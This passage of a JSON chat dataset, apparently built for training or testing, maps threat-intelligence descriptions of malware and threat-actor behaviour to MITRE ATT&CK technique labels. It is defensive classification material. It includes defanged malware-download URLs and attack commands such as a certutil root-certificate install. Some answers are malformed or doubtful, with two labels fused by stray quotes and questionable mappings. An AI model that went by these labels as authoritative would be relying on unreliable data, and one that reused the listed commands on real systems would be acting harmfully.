                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "monitors USB devices and copies files with certain extensions to\na predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can disable Security Center functions like anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has used an invalid certificate in attempt to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to browse files in directories such as Program Files and the Desktop."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOWDRIFT downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is known to utilize encryption within network protocols."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can insert pseudo-random characters into its network encryption setup."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has packed malware payloads before delivery to victims."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has the ability to wait for a specified time interval between communicating with and executing commands from C2."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used the Plink utility to create SSH tunnels."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling', 'T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pasam creates a backdoor through which remote attackers can retrieve lists of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P8RAT can send randomly-generated data as part of its C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the MsBuild.exe process to exit before restoring the original source code and deleting the temporary InventoryManager.bk file. If the Orion solution build is successful, it is backdoored with SUNBURST"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has used a service named `WSearch` for execution."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has obtained and used publicly-available post-exploitation frameworks and tools like Metasploit, Empire, Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK has download files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant named Mal/Miner-C (also known as PhotoMiner) is infecting Internet-exposed Seagate Central Network Attached Storage (NAS) devices and using them to infect connected computers to mine for the Monero cryptocurrency"
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro also employs a technique for privilege escalation described in more detail here. The method relies on registering a binary as the default handler for .MSC files and then running such a file"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. They routinely used standard tools that would mimic legitimate administrator activities. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They used multiple staging folders and opted to use directories that were used infrequently by legitimate users or processes. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCRat will also drop a .bat file containing a script that runs the W32tm “stripchart” command on the compromised host. This command is used as a delay tactic for its execution and beaconing."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial routine decrypts selected parts of the code section using XOR with a hardcoded value"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to download files to target systems."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate drives and their types. It can also change file permissions using cacls.exe."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can execute Lazagne as well as Mimikatz using PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has attempted to execute with WMIC."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FireEye Research Labs, the intelligence behind our Mandiant Consultancy services, identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks. The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon enumerates registry keys with the command \"regkeyenum\" and obtains information for the Registry key \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used implants capable of collecting the signed-in username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This decrypted data is written to the following location:  %TEMP%\\WUpdate.~tmp  This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to meet the phishing emails’ infrastructure requirements, disposable domains and emails were used as the delivery medium. On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.” Newer versions create the \"MaintenaceSrv\" service, which misspells the word \"maintenance.\""
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind completes network communication via raw sockets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can use VBScript (VBE) code for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used WMI for the remote execution of files for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has sent data back to C2 every 8 hours."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first layer of the FYAnti loader decrypts an embedded .NET module and executes it using the CppHostCLR technique. The .NET module is packed using “ConfuserEx v1.0.0” and acts as yet another loader that searches for a file in the “C:\\Windows\\Microsoft.NET\\” directory with file sizes between 100,000 and 500,000"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used malware that searched for files with specific patterns."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The link “Check” led to a Google Docs page, which contained a link that redirected to a ZIP file. The ZIP file was hosted on a likely compromised SharePoint account and contained Domenus VBS, which downloads Harpy from https[:]//fashionableeder[.]com/info. At one victim, CARBON SPIDER subsequently deployed the aforementioned custom PS Sekur stager and profiled the Active Directory environment using the utility ADFind"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unknown Logger can obtain information about the victim's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has delivered malicious links and macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux has a command to download a file from  and to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\\cert512121.der."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used \"cmd.exe net user /domain\" to enumerate domain users."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used WMI event subscriptions for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has masqueraded as trusted software rsyncd and dbus-inotifier."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used repeated MFA requests to gain access to victim accounts."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet sends compromised victim information via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP using SMTP for C2 communication – dated to late 2021-early 2022. This variant was downloaded from a known UNC3890 C2 (URL: hxxp://128.199.6[.]246/3-Video-VLC.exe), and is a slightly more advanced version with similar credential harvesting functionality. "
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has obtained valid accounts to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can find and collect data from removable media devices."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Also, on some infected computers we found a tool called the Winexesvc tool. The main difference is that the Winexesvc tool enables the execution of remote commands from Linux-based operating system. When the Linux binary “winexe” is run against a Windows server, the winexesvc.exe executable is created and installed as a service"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If there are keys for the string encryption with the XOR algorithm, the configuration data will be also encrypted with the XOR algorithm"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains a module for recursively parsing through files and directories to gather valid credit card numbers."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt creates a Registry entry to ensure infection after reboot under \"HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded second stage malware from compromised websites."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can determine the IP and physical location of the compromised host via IPinfo."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This file issued a GET request to download a malicious file from: hxxp://94.23.172.164/dupdatechecker.doc"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover automatically searches for files on local drives based on a predefined list of file extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck can manipulate Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT has used HTTP for C2, including sending error codes in Cookie headers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel malware can obtain system time from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can execute PE files in the address space of the specified process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LOWBALL abuses the Dropbox cloud storage service for command and control (CnC)"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST delivered different payloads, including TEARDROP in at least one instance."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has used Windows services as a way to execute its malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has used svchost.exe to execute a malicious DLL ."
            },
            {
                "role": "assistant",
